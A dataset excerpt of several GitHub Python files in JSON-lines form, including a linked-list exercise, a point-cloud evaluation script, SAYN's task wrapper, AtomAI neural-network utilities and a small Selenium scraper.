callbacks.\")\n    dp.register_callback_query_handler(respondent_swipe_available_questions,\n                                       state=RespondentStates.show_available_questions)\n    dp.register_callback_query_handler(respondent_swipe_answers, state=RespondentStates.show_answers)\n    dp.register_callback_query_handler(respondent_show_requests, state=RespondentStates.show_requests)\n","repo_name":"plov-cyber/QandAbot","sub_path":"callbacks/respondent_callbacks.py","file_name":"respondent_callbacks.py","file_ext":"py","file_size_in_byte":6791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"40880226987","text":"class Node:\n    def __init__(self,data):\n        self.data = data\n        self.next = None\n        self.prev = None\n\n    def __str__(self):\n        if self.data:\n            return self.data.__str__()\n        else:\n            return 'Empty Node'\n\n    def __repr__(self):\n        return self.__str__()\n\n\nclass LinkedList:\n    def __init__(self):\n        self.head = None\n\n    def append_nodes(self,data):\n        new_node = Node(data)\n        new_node.next = self.head\n        if self.head is not None:\n            self.head.prev = new_node\n        self.head = new_node\n\n    def remove_dupls(self):\n        unique_dict ={}\n        node = self.head\n        while node is not None:\n            if node.data not in unique_dict.keys():\n                unique_dict[node.data] = node\n            else:\n                if node.next:\n                    node.prev.next = node.next\n                    node.next.prev = node.prev\n                else:\n                    node.prev.next = None\n\n            node = node.next\n\n    def print_list(self):\n\n        node = self.head\n        while node is not None:\n            print ('{}'.format(node.data))\n            node = node.next\n\n\n\n\n\n\nll = LinkedList()\nll.append_nodes(1)\nll.append_nodes(4)\nll.append_nodes(4)\nll.append_nodes(4)\nll.append_nodes(4)\nprint ('original list')\nll.print_list()\nprint ('*****************')\nll.remove_dupls()\nprint ('removed dupls list')\nll.print_list()","repo_name":"akash29/Practice_problems","sub_path":"CCI/2.1_remove_dups.py","file_name":"2.1_remove_dups.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"7723714703","text":"import typing\nimport numpy as np\nimport open3d as o3d\nimport cv2\nimport os\nimport copy\nfrom scipy.spatial.transform import Rotation as R\n\nfrom utils.iterative_utils import convert_realsense_rgb_depth_to_o3d_pcl\n\nfrom utils.evaluate_results_utils import calculate_chamfer, calculate_fscore, compute_iou\n\nimport argparse\n\ndef normalize_pc(gt_points, pred_points):\n    centroid = np.mean(gt_points, axis=0)\n    gt_points -= centroid\n    pred_points -= centroid\n    furthest_distance = (np.max(np.sqrt(np.sum(abs(gt_points)**2,axis=-1))) * 2)\n    gt_points /= furthest_distance\n    pred_points /= furthest_distance\n    return gt_points, pred_points\n\ndef evaluate_results(results_dir, gt_dir):\n    pred_scenes = os.listdir(results_dir)\n    total_fscore_list = []\n    total_cscore_list = []\n    total_f_cscore_list = []\n    total_b_cscore_list = []\n    total_iscore_list = []\n    for pred_scene in pred_scenes:\n        pred_frames = os.listdir(results_dir + pred_scene)\n        for pred_frame in pred_frames:\n            gt_pcd = o3d.io.read_point_cloud(gt_dir + pred_scene + \"_gt.ply\")\n            pred_pcd = o3d.io.read_point_cloud(results_dir + pred_scene + \"/\" + pred_frame + \"/final.ply\")\n\n            c1_T_w = np.load(results_dir + pred_scene + \"/\" + pred_frame + \"/extrinsics.npy\")\n\n            pred_pcd = copy.deepcopy(pred_pcd).transform(c1_T_w)\n            pred_pcd.scale(100, center=[0,0,0])\n            c1_T_w[:3,-1] *= 100\n            pred_pcd = copy.deepcopy(pred_pcd).transform(np.linalg.inv(c1_T_w))\n            pred_pcd = pred_pcd.voxel_down_sample(voxel_size=0.5)\n            pred_pcd.paint_uniform_color([1, 0, 0])\n\n            z_min = np.min(np.array(gt_pcd.points), 0)[2]\n        \n            min_bound_meshes = np.load(gt_dir + pred_scene + \"_min_bound.npy\")\n            max_bound_meshes = np.load(gt_dir + pred_scene + \"_max_bound.npy\")\n            bbox = o3d.geometry.AxisAlignedBoundingBox(min_bound=min_bound_meshes, max_bound=max_bound_meshes)\n            pred_pcd = pred_pcd.crop(bbox)\n\n            # o3d.visualization.draw([gt_pcd] + [pred_pcd])\n\n            pred_points = pred_pcd.points \n            gt_points = gt_pcd.points\n            gt_points_normalize, pred_points_normalize = normalize_pc(gt_points, pred_points)\n\n\n            pred_pcd.points = o3d.utility.Vector3dVector(pred_points_normalize)\n            gt_pcd.points = o3d.utility.Vector3dVector(gt_points_normalize)\n\n            \n            c_score, c_forward, c_backward = calculate_chamfer(gt_pcd, pred_pcd)\n            f_score, _, _ = calculate_fscore(gt_pcd, pred_pcd, 0.01)\n\n            pred_pcd = pred_pcd.crop(gt_pcd.get_axis_aligned_bounding_box())\n            i_score = compute_iou(gt_pcd, pred_pcd, 100)\n\n            total_cscore_list.append(c_score)\n            total_f_cscore_list.append(c_forward)\n            total_b_cscore_list.append(c_backward)\n            total_fscore_list.append(f_score)\n            total_iscore_list.append(i_score)\n    avg_fscore = np.mean(total_fscore_list)\n    avg_cscore = np.mean(total_cscore_list)\n    avg_f_cscore = np.mean(total_f_cscore_list)\n    avg_b_cscore = np.mean(total_b_cscore_list)\n    avg_iscore = np.mean(total_iscore_list)\n\n    std_fscore = np.std(total_fscore_list)\n    std_cscore = np.std(total_cscore_list)\n    std_f_cscore = np.std(total_f_cscore_list)\n    std_b_cscore = np.std(total_b_cscore_list)\n    std_iscore = np.std(total_iscore_list)\n\n    print(\"OUR METHOD:\")\n    print(\"F-Score Mean: \", np.around(avg_fscore, decimals=3), \"F-Score STD: \", np.around(std_fscore, decimals=3))\n    print(\"Chamfer Distance Mean: \", np.around(avg_cscore, decimals=5), \"Chamfer Distance STD: \", np.around(std_cscore, decimals=3))\n    print(\"Forward Chamfer Distance Mean: \", np.around(avg_f_cscore, decimals=3), \"STD: \", np.around(std_f_cscore, decimals=3))\n    print(\"Backward Chamfer Distance Mean: \", np.around(avg_b_cscore, decimals=3), \"STD: \", np.around(std_b_cscore, decimals=3))\n    print(\"IoU Mean: \", np.around(avg_iscore, decimals=3), \"IoU STD: \", np.around(std_iscore, decimals=3))\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description=\"Script configuration\")\n    parser.add_argument(\"--results_dir\", type=str, default=\"results/\", help=\"Directory containing results to evaluate\")\n    parser.add_argument(\"--gt_dir\", type=str, default=\"gt_pcds/\", help=\"Directory for gt ptclouds\")\n\n    # Parsing arguments\n    args = parser.parse_args()\n\n    evaluate_results(args.results_dir, args.gt_dir)","repo_name":"SamsungLabs/RIC","sub_path":"evaluate_results.py","file_name":"evaluate_results.py","file_ext":"py","file_size_in_byte":4462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"41150703943","text":"from copy import deepcopy\nfrom typing import Any, Dict, Optional, Set\n\nfrom ..database.unknown import UnknownDb\n\nfrom ..core.errors import Err, Exc, Ok, Result\nfrom ..utils.misc import map_nested\n\nfrom .task import Task, TaskStatus\n\n# Properties from a task dictionary that won't be part of the task\n# configuration as they are standard SAYN task properties\n_excluded_properties = (\n    \"name\",\n    \"type\",\n    \"tags\",\n    \"group\",\n    \"parents\",\n    \"sources\",\n    \"outputs\",\n    \"parameters\",\n    \"class\",\n    \"preset\",\n    \"on_fail\",\n    \"module\",\n)\n\n\nclass TaskWrapper:\n    \"\"\"Task wrapper managing the execution of tasks.\n\n    This class wraps a task runner (sayn.tasks.Task) and manages the lifetime of said task.\n    In a SAYN execution there will be 1 TaskWrapper per task in the project, whether the task\n    is to be executed or ignored based on the task query (`-t` and `-x` arguments to `sayn`).\n\n    Properties:\n      name (str): the name of the task\n      group (str): the name of the task group file where the task was defined\n      tags (List[str]): list of tags declared for the task\n      parents (List[sayn.task_wrapper.TaskWrapper]): the list of parents to the current task\n      project_parameters (Dict[str, Any]): parameters defined at project level\n      task_parameters (Dict[str, Any]): parameters defined at task level\n      in_query (bool): whether the task is selected for execution based on the task query\n      runner (Task): the object that will do the actual work\n      status (TaskStatus): the current status of the task\n    \"\"\"\n\n    name: str\n    group: str\n    tags: Set[str]\n    parent_names: Set[str]\n    sources_yaml: Set[Any]\n    outputs_yaml: Set[Any]\n    used_connections: Set[str]\n    project_parameters: Dict[str, Any]\n    task_parameters: Dict[str, Any]\n    in_query: bool = False\n    runner: Optional[Task]\n    status: TaskStatus = TaskStatus.UNKNOWN\n\n    def __init__(\n        self,\n        group: str,\n        name: str,\n        task_type: str,\n        on_fail: str,\n        parent_names: Set[str],\n        sources: Set[str],\n        outputs: Set[str],\n        tags: Set[str],\n        tracker,\n        task_class,\n        connections,\n        default_db,\n        run_arguments,\n        compiler,\n        db_object_compiler,\n    ):\n\n        self.tags = set(tags or set())\n        self.parent_names = set(parent_names or set())\n        self.parents = list()\n        self.sources_yaml = set(sources or set())\n        self.sources = set()\n        self.outputs_yaml = set(outputs or set())\n        self.outputs = set()\n        self.sources_from_prod = set()\n        self.used_connections = set()\n        self.tracker = tracker\n        self.runner = None\n\n        self.name = name\n        self.group = group\n        self.task_type = task_type\n        self.on_fail = on_fail or \"skip\"\n\n        self.default_db = default_db\n        self.connections = dict(connections)\n        self.db_object_compiler = db_object_compiler\n\n        self.task_class = task_class\n\n        if self.task_class is None:\n            self.status = TaskStatus.FAILED\n        else:\n            self.status = TaskStatus.CONFIGURING\n\n            self.compiler = compiler.get_task_compiler(group=self.group, name=self.name)\n\n            self.run_arguments = {\n                \"debug\": run_arguments.debug,\n                \"full_load\": run_arguments.full_load,\n                \"start_dt\": run_arguments.start_dt,\n                \"end_dt\": run_arguments.end_dt,\n                \"dates_specified\": run_arguments.dates_specified,\n                \"command\": run_arguments.command.value,\n                \"is_prod\": run_arguments.is_prod,\n                \"folders\": {\n                    \"python\": run_arguments.folders.python,\n                    \"sql\": run_arguments.folders.sql,\n                    \"compile\": run_arguments.folders.compile,\n                    \"logs\": run_arguments.folders.logs,\n                    \"tests\": run_arguments.folders.tests,\n                },\n            }\n\n    def config(\n        self,\n        task_config: Dict[str, Any],\n        project_parameters: Dict[str, Any],\n        task_parameters: Dict[str, Any],\n    ):\n        # Check the parents are in a good state\n        result = self.check_skip()\n        if result.is_err or result.value == TaskStatus.SKIPPED:\n            return result\n\n        try:\n            self.set_parameters(project_parameters, task_parameters)\n        except Exception as exc:\n            self.status = TaskStatus.FAILED\n            return Exc(exc, where=\"set_task_parameters\")\n\n        # for decorator tasks\n        if hasattr(self.task_class, \"func_arguments\"):\n            for arg in self.task_class.func_arguments:\n                if arg in self.connections:\n                    self.used_connections.add(arg)\n\n        try:\n            runner = self.task_class(\n                self.name,\n                self.group,\n                self.tracker,\n                self.run_arguments,\n                self.task_parameters,\n                self.project_parameters,\n                self.default_db,\n                self.connections,\n                self.compiler,\n                self.src,\n                self.out,\n            )\n        except Exception as exc:\n            self.status = TaskStatus.FAILED\n            return Exc(exc, where=\"create_task_runner\")\n\n        # # compile Outputs YAML and Sources YAML\n        self.outputs_yaml = [self.compiler.compile(o) for o in self.outputs_yaml]\n\n        self.sources_yaml = [self.compiler.compile(o) for o in self.sources_yaml]\n        # convert sources and outputs from strings in yaml\n        # Now we can compile the other properties\n        runner_config = {\n            k: v for k, v in task_config.items() if k not in _excluded_properties\n        }\n\n        try:\n            runner_config = map_nested(\n                runner_config,\n                lambda x: self.compiler.compile(x) if isinstance(x, str) else x,\n            )\n        except Exception as exc:\n            return Exc(exc, where=\"compile_task_properties\")\n\n        self.runner = runner\n\n        try:\n            result = self.runner.config(**runner_config)\n            if result is not None and result.is_err:\n                self.status = TaskStatus.FAILED\n                return result\n        except Exception as exc:\n            self.status = TaskStatus.FAILED\n            return Exc(exc, where=\"task_config\")\n\n        # The config stage can produce changes to: tags, parents, sources, outputs and on_fail\n        if hasattr(runner, \"_config_input\"):\n            for source in runner._config_input[\"sources\"]:\n                self.src(source)\n\n            for output in runner._config_input[\"outputs\"]:\n                self.out(output)\n\n            for parent in runner._config_input[\"parents\"]:\n                self.parent_names.add(parent)\n\n            for tag in runner._config_input[\"tags\"]:\n                self.tags.add(tag)\n\n            if runner._config_input.get(\"on_fail\") is not None:\n                self.on_fail = runner._config_input[\"on_fail\"]\n\n            # A bit of cleaning on the user\n            del runner._config_input\n\n        # TODO relying on the task object having a certain property is not a solid method. Need to change it\n        if \"_target_db\" in runner.__dict__:\n            target_connection = self.connections[runner._target_db]\n        else:\n            target_connection = self.connections[self.default_db]\n\n        self.outputs.update(\n            {\n                self.db_object_compiler.from_string(o, connection=target_connection)\n                for o in self.outputs_yaml\n            }\n        )\n\n        if \"_source_db\" in runner.__dict__:\n            source_connection = self.connections[runner._source_db]\n        elif \"_target_db\" in runner.__dict__:\n            source_connection = self.connections[runner._target_db]\n        else:\n            source_connection = self.connections[self.default_db]\n\n        self.sources.update(\n            {\n                self.db_object_compiler.from_string(o, connection=source_connection)\n                for o in self.sources_yaml\n            }\n        )\n\n        self.status = TaskStatus.READY_FOR_SETUP\n\n        self.verify_connections()\n\n        return Ok()\n\n    def set_parameters(\n        self, project_parameters: Dict[str, Any], task_parameters: Dict[str, Any]\n    ):\n        # Process parameters\n        # The project parameters go as they come\n        self.project_parameters = deepcopy(project_parameters or dict())\n\n        # Compile nested dictionary of parameters\n        task_parameters = task_parameters or dict()\n        task_parameters = map_nested(\n            task_parameters,\n            lambda x: self.compiler.compile(x) if isinstance(x, str) else x,\n        )\n        self.task_parameters = task_parameters\n\n        # Add the task paramters to the jinja environment\n        self.compiler.update_globals(**task_parameters)\n\n    def check_skip(self):\n        if self.run_arguments[\"command\"] != \"test\":\n            failed_parents = {\n                p.name: p.status\n                for p in self.parents\n                if (\n                    p.status in (TaskStatus.SETUP_FAILED, TaskStatus.FAILED)\n                    and p.on_fail != \"no_skip\"\n                )\n                or p.status == TaskStatus.SKIPPED\n            }\n        else:\n            failed_parents = {}\n\n        if len(failed_parents) > 0:\n            self.status = TaskStatus.SKIPPED\n\n            if self.in_query:\n                return Err(\"task\", \"parent_errors\", failed_parents=failed_parents)\n            else:\n                return Ok(self.status)\n\n        elif self.status == TaskStatus.SETUP_FAILED:\n            return Err(\"task\", \"setup_error\", status=self.status)\n        elif \"fail\" in self.status.value:\n            return Err(\"task\", \"task_error\", status=self.status)\n        else:\n            return Ok(self.status)\n\n    def setup(self, in_query, sources_from_prod):\n        # Check the parents are in a good state\n        result = self.check_skip()\n        if result.is_err or result.value == TaskStatus.SKIPPED:\n            return result\n\n        if self.runner is None:\n            return Ok()\n\n        self.in_query = in_query\n        self.status = TaskStatus.SETTING_UP\n\n        if not in_query:\n            self.status = TaskStatus.NOT_IN_QUERY\n            return Ok()\n        else:\n            # Clear all the dummy connections\n            self.runner.connections = {\n                n: None if isinstance(o, UnknownDb) else o\n                for n, o in self.runner.connections.items()\n            }\n\n            needs_recompile = False\n            for s in self.sources:\n                if s in sources_from_prod:\n                    needs_recompile = True\n\n            self.runner._needs_recompile = needs_recompile\n\n            self.sources_from_prod = sources_from_prod\n\n            # Run the setup stage for the runner and return the results\n            try:\n                result = self.runner.setup()\n            except Exception as exc:\n                result = Exc(exc)\n\n            finally:\n                if result is None:\n                    self.status = TaskStatus.READY\n                    return Ok()\n                elif not isinstance(result, Result):\n                    self.status = TaskStatus.SETUP_FAILED\n                    self.tracker.current_step = None\n                    return Err(\"task_result\", \"missing_result_error\", result=result)\n                elif result.is_err:\n                    self.status = TaskStatus.SETUP_FAILED\n                    self.tracker.current_step = None\n                    return result\n                else:\n                    self.status = TaskStatus.READY\n                    return Ok()\n\n    def should_run(self):\n        return self.status == TaskStatus.NOT_IN_QUERY\n\n    def run(self):\n        return self.execute_task(\"run\")\n\n    def compile(self):\n        return self.execute_task(\"compile\")\n\n    def test(self):\n        return self.execute_task(\"test\")\n\n    def execute_task(self, command):\n        result = self.check_skip()\n        if result.is_err or result.value == TaskStatus.SKIPPED:\n            return result\n\n        if self.runner is None:\n            return Ok()\n\n        if not self.in_query:\n            # TODO review this as it should never happend if running sayn cli\n            self.status = TaskStatus.NOT_IN_QUERY\n            return Err(\"execution\", \"task_not_in_query\")\n        elif self.status not in (TaskStatus.SETTING_UP, TaskStatus.READY):\n            return Err(\"execution\", \"setup_error\", status=self.status)\n        else:\n            try:\n                if command == \"run\":\n                    result = self.runner.run()\n                elif command == \"compile\":\n                    result = self.runner.compile()\n                else:\n                    result = self.runner.test()\n\n                if result is None:\n                    result = Ok()\n                    self.status = TaskStatus.SUCCEEDED\n                elif result.is_ok:\n                    self.status = TaskStatus.SUCCEEDED\n                else:\n                    self.status = TaskStatus.FAILED\n            except Exception as e:\n                self.status = TaskStatus.FAILED\n                result = Exc(e)\n\n            return result\n\n    def set_parents(self, all_tasks, output_to_task):\n        for parent_name in self.parent_names:\n            if parent_name not in all_tasks:\n                return Err(\"dag\", \"missing_parents\", missing={self.name: [parent_name]})\n            self.parents.append(all_tasks[parent_name])\n            self.parent_names.add(parent_name)\n\n        missing = set()\n        for source in self.sources:\n            if source not in output_to_task:\n                if source.connection_name == self.default_db:\n                    # We only consider a missing parent if the\n                    # source is in the default_db\n                    missing.add(source)\n            else:\n                for task_name in output_to_task[source]:\n                    if task_name not in self.parent_names:\n                        self.parents.append(all_tasks[task_name])\n                        self.parent_names.add(task_name)\n\n        # TODO send some message when a table is source\n        if len(missing) > 0:\n            tables = \", \".join([f\"{t.raw}\" for t in missing])\n            self.tracker.warning(\n                f'No task creates table(s) \"{tables}\" referenced by task \"{self.name}\"'\n            )\n\n        return Ok()\n\n    def src(self, obj, connection=None, level=None):\n        obj = self.db_object_compiler.from_string(\n            obj, connection=connection, level=level\n        )\n        if self.status == TaskStatus.CONFIGURING:\n            # During configuration we add to the list and use values based on settings\n            self.used_connections.add(obj.connection_name)\n            self.sources.add(obj)\n\n        return self.db_object_compiler.src_value(obj)\n\n    def out(self, obj, connection=None, level=None):\n        obj = self.db_object_compiler.from_string(\n            obj, connection=connection, level=level\n        )\n        if self.status == TaskStatus.CONFIGURING:\n            self.used_connections.add(obj.connection_name)\n            self.outputs.add(obj)\n\n        return self.db_object_compiler.out_value(obj)\n\n    def verify_connections(self):\n        if hasattr(self.runner, \"_target_db\"):\n            self.used_connections.add(self.runner._target_db)\n\n        if hasattr(self.runner, \"_source_db\"):\n            self.used_connections.add(self.runner._source_db)\n        return Ok()\n\n    def has_tests(self):\n        if self.runner is not None and self.runner._has_tests:\n            return True\n\n        return False\n","repo_name":"173TECH/sayn","sub_path":"sayn/tasks/task_wrapper.py","file_name":"task_wrapper.py","file_ext":"py","file_size_in_byte":15766,"program_lang":"python","lang":"en","doc_type":"code","stars":115,"dataset":"github-code","pt":"47"}
{"seq_id":"34681407274","text":"\"\"\"\nnn.py\n=====\n\nUtility functions for working with NN weights and classes.\nIncludes utility function for monitoring GPU usage during NN training.\n\nCreated by: Maxim Ziatdinov (maxim.ziatdinov@ai4microscopy.com)\n\"\"\"\n\nimport copy\nimport subprocess\nfrom typing import Dict, List, Tuple, Type\n\nimport numpy as np\nimport torch\nfrom torch.nn import (BatchNorm1d, BatchNorm2d, Conv1d, Conv2d,\n                      ConvTranspose1d, ConvTranspose2d, Linear)\n\ndc = copy.deepcopy\n\n\ndef load_weights(model: Type[torch.nn.Module],\n                 weights_path: str) -> Type[torch.nn.Module]:\n    \"\"\"\n    Loads weights saved as pytorch state dictionary into a model skeleton\n\n    Args:\n        model (pytorch object):\n            Initialized pytorch model\n        weights_path (str):\n            Filepath to trained weights (pytorch state dict)\n\n    Returns:\n        Model with trained weights loaded in evaluation state\n\n    Example:\n\n        >>> from atomai.utils import load_weights\n        >>> # Path to file with trained weights\n        >>> weights_path = '/content/simple_model_weights.pt'\n        >>> # Initialize model (by default all trained models are 'dilUnet')\n        >>> # You can also use nb_classes=utils.nb_filters_classes(weights_path)[1]\n        >>> model = models.dilUnet(nb_classes=3)\n        >>> # Load the weights into the model skeleton\n        >>> model = load_weights(model, weights_path)\n    \"\"\"\n    torch.manual_seed(0)\n    if torch.cuda.device_count() > 0:\n        checkpoint = torch.load(weights_path)\n    elif torch.backends.mps.is_available():\n        checkpoint = torch.load(weights_path, map_location='mps')\n    else:\n        checkpoint = torch.load(weights_path, map_location='cpu')\n    model.load_state_dict(checkpoint)\n    return model.eval()\n\n\ndef average_weights(ensemble: Dict[int, Dict[str, torch.Tensor]]) -> Dict[str, torch.Tensor]:\n    \"\"\"\n    Averages weights of all models in the ensemble\n\n    Args:\n        ensemble (dict):\n            Dictionary with trained weights (model's state_dict)\n            of models with exact same architecture.\n\n    Returns:\n        Averaged weights (as model's state_dict)\n    \"\"\"\n    ensemble_state_dict = dc(ensemble[0])\n    names = [name for name in ensemble_state_dict.keys() if\n             name.split('_')[-1] not in [\"mean\", \"var\", \"tracked\"]]\n    for name in names:\n        w_aver = []\n        for model in ensemble.values():\n            for n, p in model.items():\n                if n == name:\n                    w_aver.append(dc(p))\n        ensemble_state_dict[name].copy_(sum(w_aver) / float(len(w_aver)))\n    return ensemble_state_dict\n\n\ndef sample_weights(ensemble: Dict[int, Dict[str, torch.Tensor]],\n                   n_samples: int = 30) -> Dict[int, Dict[str, torch.Tensor]]:\n    \"\"\"\n    Calculate the mean and standard deviation for each trainable parameter\n    and use them to draw samples for each parameter independently according to\n    :math:`\\\\theta_i \\\\sim N(\\\\mu_i, \\\\sigma_i)`\n\n    Args:\n        ensemble (dict):\n            Dictionary with trained weights of models\n            with the exact same architecture\n\n    Returns:\n        Updated dictionary with sampled weights\n    \"\"\"\n    ensemble_ = {i: dc(ensemble[0])\n                 for i in range(n_samples)}\n    ensemble_state_dict = ensemble[0]\n    names = [name for name in ensemble_state_dict.keys() if\n             name.split('_')[-1] not in [\"mean\", \"var\", \"tracked\"]]\n    for name in names:\n        w_all = []\n        for model in ensemble.values():\n            for n, p in model.items():\n                if n == name:\n                    w_all.append(dc(p)[None, ...])\n        w_all = torch.cat(w_all, dim=0)\n        if w_all.dtype == torch.float32:\n            w_all_mu = torch.mean(w_all, axis=0)\n            w_all_std = torch.std(w_all, axis=0)\n            ndist = torch.distributions.Normal(w_all_mu, w_all_std)\n            for i in range(n_samples):\n                ensemble_[i][name].copy_(ndist.sample())\n    return ensemble_\n\n\ndef gpu_usage_map(cuda_device: int) -> int:\n    \"\"\"\n    Get the current GPU memory usage\n    Adapted with changes from\n    https://discuss.pytorch.org/t/access-gpu-memory-usage-in-pytorch/3192/4\n    \"\"\"\n    result = subprocess.check_output(\n        [\n            'nvidia-smi', '--id=' + str(cuda_device),\n            '--query-gpu=memory.used,memory.total,utilization.gpu',\n            '--format=csv,nounits,noheader'\n        ], encoding='utf-8')\n    gpu_usage = [int(y) for y in result.split(',')]\n    return gpu_usage[0:2]\n\n\ndef set_train_rng(seed: int = 1):\n    \"\"\"\n    For reproducibility\n    \"\"\"\n    np.random.seed(seed)\n    torch.manual_seed(seed)\n    if torch.cuda.is_available():\n        torch.cuda.empty_cache()\n        torch.cuda.manual_seed_all(seed)\n        torch.backends.cudnn.deterministic = True\n        torch.backends.cudnn.benchmark = False\n\n\ndef set_seed_and_precision(seed: int = 42, precision: str = \"double\", **kwargs):\n    \"\"\"Sets the tensor type and seed\"\"\"\n    if precision == 'single':\n        tensor_type = torch.FloatTensor\n        tensor_type_gpu = torch.cuda.FloatTensor\n    else:\n        tensor_type = torch.DoubleTensor\n        tensor_type_gpu = torch.cuda.DoubleTensor\n    np.random.seed(seed)\n    torch.manual_seed(seed)\n    if torch.cuda.is_available():\n        torch.cuda.empty_cache()\n        torch.cuda.manual_seed_all(seed)\n        torch.backends.cudnn.deterministic = True\n        torch.backends.cudnn.benchmark = False\n        torch.set_default_tensor_type(tensor_type_gpu)\n    else:\n        torch.set_default_tensor_type(tensor_type)\n\n\nclass Hook():\n    \"\"\"\n    Returns the input and output of a\n    layer during forward/backward pass\n    see https://www.kaggle.com/sironghuang/\n        understanding-pytorch-hooks/notebook\n\n    Args:\n        module (torch module): single layer or sequential block\n        backward (bool): replace forward_hook with backward_hook\n    \"\"\"\n    def __init__(self, module: Type[torch.nn.Module], backward: bool = False) -> None:\n        if backward is False:\n            self.hook = module.register_forward_hook(self.hook_fn)\n        else:\n            self.hook = module.register_backward_hook(self.hook_fn)\n\n    def hook_fn(self, module: Type[torch.nn.Module],\n                input_: Tuple[torch.Tensor], output_: torch.Tensor) -> None:\n        self.input = input_\n        self.output = output_\n\n    def close(self) -> None:\n        self.hook.remove()\n\n\ndef mock_forward(model: Type[torch.nn.Module],\n                 dims: Tuple[int] = (1, 64, 64)) -> torch.Tensor:\n    \"\"\"\n    Passes a dummy variable throuh a network\n    \"\"\"\n\n    x = torch.randn(1, *dims)\n    if next(model.parameters()).is_cuda:\n        x = x.cuda()\n    elif next(model.parameters()).is_mps:\n        mps_device = torch.device(\"mps\")\n        x = x.to(mps_device)\n    out = model(x)\n    return out\n\n\ndef get_nb_classes(model: Type[torch.nn.Module]) -> int:\n    \"\"\"\n    Gets number of classes used in a fully convolutional NN\n    \"\"\"\n    hookF = [Hook(layer[1]) for layer in list(model._modules.items())]\n    mock_forward(model)\n    nb_classes = [hook.output.shape for hook in hookF][-1][1]\n    return nb_classes\n\n\ndef get_downsample_factor(model: Type[torch.nn.Module]) -> int:\n    \"\"\"\n    Gets a downsample factor for UNet-like architectures\n    \"\"\"\n    hookF = [Hook(layer[1]) for layer in list(model._modules.items())]\n    mock_forward(model)\n    imsize = [hook.output.shape[-1] for hook in hookF]\n    return max(imsize) / min(imsize)\n\n\ndef dummy_optimizer() -> Type[torch.optim.Optimizer]:\n    \"\"\"\n    Returns initialized \"dummy\" optimizer\n    \"\"\"\n    return torch.optim.Optimizer([torch.zeros(1)], dict())\n\n\ndef weights_init(module):\n    imodules = (Conv1d, Conv2d, ConvTranspose1d, ConvTranspose2d, Linear)\n    if isinstance(module, imodules):\n        torch.nn.init.xavier_uniform_(module.weight.data)\n        torch.nn.init.zeros_(module.bias)\n\n\ndef reset_bnorm(module):\n    imodules = (BatchNorm1d, BatchNorm2d)\n    if isinstance(module, imodules):\n        module.reset_running_stats()\n        module.reset_parameters()\n\n\ndef nb_filters_classes(weights_path: str) -> Tuple[int]:\n    \"\"\"\n    Inferes the number of filters and the number of classes\n    used in trained AtomAI models from the loaded weights.\n\n    Args:\n        weight_path (str):\n            Path to file with saved weights (.pt extension)\n\n    \"\"\"\n    checkpoint = torch.load(weights_path, map_location='cpu')\n    tensor_shapes = [v.shape for v in checkpoint.values() if len(v.shape) > 1]\n    nb_classes = tensor_shapes[-1][0]\n    nb_filters = tensor_shapes[0][0]\n    return nb_filters, nb_classes\n\n\ndef combine_classes(coord_class_dict: Dict[int, np.ndarray],\n                    classes_to_combine: List[int],\n                    renumerate: bool = True) -> Dict[int, np.ndarray]:\n    \"\"\"\n    Combines classes in a dictionary from atomnet.locator or atomnet.predictor outputs\n    \"\"\"\n    coord_class_dict_ = dc(coord_class_dict)\n    for i in range(len(coord_class_dict_)):\n        coord_class_dict_[i][:, -1] = combine_classes_(\n            coord_class_dict_[i][:, -1], classes_to_combine)\n    if renumerate:\n        coord_class_dict_ = renumerate_classes(coord_class_dict_)\n    return coord_class_dict_\n\n\ndef combine_classes_(classes_all: np.ndarray,\n                     classes_to_combine: List[int]) -> np.ndarray:\n    \"\"\"\n    Given a list of classes to combine substitutes listed classes\n    with a minimum value from the list\n    \"\"\"\n    for comb in classes_to_combine:\n        cls_min = min(comb)\n        for c in comb:\n            classes_all[classes_all == c] = cls_min\n    return classes_all\n\n\ndef renumerate_classes_(classes: np.ndarray,\n                        start_from_1: bool = True) -> np.ndarray:\n    \"\"\"\n    Renumerate classes such that they are ordered starting from 1 or 0\n    with an increment of 1\n    \"\"\"\n    diff = np.unique(classes) - np.arange(len(np.unique(classes)))\n    diff_d = {cl: d for d, cl in zip(diff, np.unique(classes))}\n    classes_renum = [cl - diff_d[cl] for cl in classes]\n    classes_renum = np.array(classes_renum, dtype=np.float)\n    if start_from_1:\n        classes_renum = classes_renum + 1\n    return classes_renum\n\n\ndef renumerate_classes(coord_class_dict: Dict[int, np.ndarray],\n                       start_from_1: bool = True) -> Dict[int, np.ndarray]:\n    \"\"\"\n    Renumerate classes in a dictionary from atomnet.locator or atomnet.predictor output\n    such that they are ordered starting from 1 or 0 with an increment of 1\n    \"\"\"\n    coord_class_dict_ = dc(coord_class_dict)\n    for i in range(len(coord_class_dict)):\n        coord_class_dict_[i][:, -1] = renumerate_classes_(\n            coord_class_dict_[i][:, -1], start_from_1=True)\n    return coord_class_dict_\n\n\ndef channels2indices(mask: np.ndarray):\n    \"\"\"\n    Maps target classes to tensor indices.\n\n    Args:\n        mask: n x h x w x n_channels numpy array\n        where the last channel corresponds to a background\n    \"\"\"\n    mask_sq = np.zeros(mask.shape[:-1])\n    for c in range(mask.shape[-1]):\n        mask_sq += mask[..., c] * c\n    return mask_sq\n","repo_name":"pycroscopy/atomai","sub_path":"atomai/utils/nn.py","file_name":"nn.py","file_ext":"py","file_size_in_byte":11080,"program_lang":"python","lang":"en","doc_type":"code","stars":161,"dataset":"github-code","pt":"47"}
{"seq_id":"32379127650","text":"from selenium import webdriver\nfrom lxml import etree\n\nbrowser = webdriver.Chrome()\nbrowser.get(\"https://techstepacademy.com/trial-of-the-stones\")\ntree = etree.HTML(browser.page_source)\n\ndivs = browser.find_elements_by_xpath(\".//div/span/..\")\nx = tree.findall(\".//div/span/..\")\n\nprint(x)","repo_name":"nogeeky/cog-training","sub_path":"Elegant-Automation/scraping/scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
